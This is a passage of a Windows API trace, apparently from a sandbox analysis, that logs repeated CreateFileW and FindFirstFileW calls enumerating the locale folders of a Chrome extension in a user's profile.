	[0066.462] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.463] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.463] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.464] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.464] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.465] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.466] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.466] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.467] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.467] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.469] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.470] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.471] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.471] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.472] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.473] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.475] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.475] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.476] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.477] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.478] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.478] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.478] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
